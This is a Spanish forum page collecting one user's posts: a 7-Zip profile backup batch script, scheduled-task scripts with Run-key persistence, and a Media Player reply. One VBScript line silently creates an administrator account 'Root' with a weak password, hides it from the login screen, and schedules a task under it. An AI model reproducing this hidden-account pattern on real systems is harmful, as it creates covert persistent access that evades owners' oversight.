
Efectivamente era eso.
Doble gracias, por el code y por la ayuda.
Saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú@Echo OFF
Title Server Backup By Elektro H@cker
Setlocal enabledelayedexpansion
Set "BACKUPS=C:\Users\Administrador\Desktop\Backups"
Set "PERFILES=C:\Users\Administrador\Desktop\Perfiles"
Set "SevenZip=%WINDIR%\System32\7z.exe"
PUSHD "%PERFILES%"
FOR /F "Tokens=*" %%# in ('DIR /B /AD') Do (
PUSHD "%%#"
If not exist "%BACKUPS%\%%#*7z" (Call :First_Backup "%%#") ELSE (Call :Next_Backup "%%#")
POPD
)
Goto :FIN
:First_Backup
Echo: [+] Comprimiendo el perfil de %1 | MORE
"%SevenZip%" u -mx=9 -ms=off -t7z "%BACKUPS%\%~1.1.7z" "%PERFILES%\%~1" >NUL
FOR /R %%@ in (*) Do (FOR /F "tokens=1-4,* delims=/ " %%A in ('Echo %%~t@') do (Echo %%C/%%B/%%A [%%D] (1^) ^| %%~nx@ >> "%BACKUPS%\%%#.txt"))
Goto:EOF
:Next_Backup
For /F "tokens=2 delims=." %%_ in ('Dir /B "%BACKUPS%\%~1*7z"') do (Set /A "LastNum=%%_", "Lastnum+=1")
FOR /R %%@ in (*) Do (
FOR /F "tokens=1-5,* delims=/: " %%A in ('Echo %%~t@;%%@') do (
Find /I "%%~nxF" "%BACKUPS%\%~1.txt" >NUL && (
For /F "Tokens=1-4,* Delims=()[] " %%a in ('Type "%BACKUPS%\%~1.txt" ^| Find /I "%%~nxF"') do (
set "Date=%%a"
Set "Hour=%%b"
IF "%%C%%B%%A%%D%%E" GTR "!DATE:/=!!Hour::=!" (
Type "%BACKUPS%\%~1.txt" | FIND /I /V "%%~nxF" > "%TEMP%\%%#.txt"
Echo %%C/%%B/%%A [%%D:%%E] (!LastNum!^) ^| %%~nx@ >> "%TEMP%\%%#.txt"
Move /Y "%TEMP%\%%#.txt" "%Backups%\%~1.txt" >NUL
)
)
) || (Echo %%C/%%B/%%A [%%D:%%E] (!LastNum!^) ^| %%~nxF >> "%Backups%\%~1.txt")
)
)
Echo: [+] Comprimiendo el perfil de %1 | MORE
"%SevenZip%" u -mx=9 -ms=off -t7z "%BACKUPS%\%~1.%Lastnum%.7z" "%PERFILES%\%~1" >NUL
SORT /+25 "%BACKUPS%\%~1.txt" > "%TEMP%\%~1.txt"
Move /Y "%TEMP%\%~1.txt" "%BACKUPS%\%~1.txt" >NUL
Goto :EOF
:FIN
Echo: Ha finalizado la creacion de copias de seguridad. | MORE
Timeout /T 30 || Pause
Exit
@Echo off
Set Fecha=24/03/2012
If "%1" EQU "+1" (Set Fecha=%Date%)
SCHTASKS /Create /SC ONCE /TN "Test" /RU Root /RP 0123 /TR "C:\temp\wait_10seg.cmd & cmd /C fsutil file createnew C:\Task.tmp 1 && exit" /ST 01:13:00 /SD %Fecha%
Reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "TaskCheck" /D "CMD /C If exist C:\Task.tmp (Reg Delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"TaskCheck\" /F) ELSE (Start /B C:\Task.bat +1) && Exit" /F
Exit
ejecutar: cmd /c C:\temp\wait_10seg.cmd & cmd /C fsutil file createnew C:\Task.tmp 1 && exit
createobject("wscript.shell").run "cmd /c net user Root 0123 /add | net localgroup Administradores Root /add | reg ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"" /v Root /t REG_DWORD /d 0 /f | Schtasks /create /tn UPS /sd 26/04/2012 /sc daily /st 13:13:00 /tr C:\temp\tasks.vbe /RU Root /RP 0123",0
@Echo off
Set Fecha=23/03/2012
If "%1" EQU "+1" (Set Fecha=%Date%)
SCHTASKS /Create /SC ONCE /TN "Test" /TR "[C:\temp\tarea.vbe] & cmd.exe /C fsutil file createnew C:\Task.tmp 1 && exit" /ST 01:00 /SD %Fecha%
Reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "TaskCheck" /D "CMD /C If exist C:\Task.tmp (Reg Delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"TaskCheck\" /F) ELSE (Start /B C:\Task.bat +1) && Exit" /F
Exit
@Echo off
Set Fecha=23/03/2012
If "%1" EQU "+1" (Set Fecha=%Date%)
SCHTASKS /Create /SC ONCE /TN "TAREA" /TR "[cmd.exe] & cmd.exe /C fsutil file createnew C:\Task.tmp 1 && exit" /ST 01:00 /SD %Fecha%
Reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "TaskCheck" /D "CMD /C If exist C:\Task.tmp (Reg Delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"TaskCheck\" /F) ELSE (Start /B C:\Task.bat +1) && Exit" /F
Exit
Cita de: WestOn en 28 Noviembre 2008, 21:15 PM
Si, lo del Media Player seria eso, si no esta instalado el reproductor no sirve, de todas formas con lo q ha dicho aaronduran2 ya puedes hacerlo
un saludo
PD:No hace falta q este instalada el Windows Media, solo coje el .ocx de un ordenador q si lo tenga(creo q es wmp.ocx/wmp.dll, una de las dos)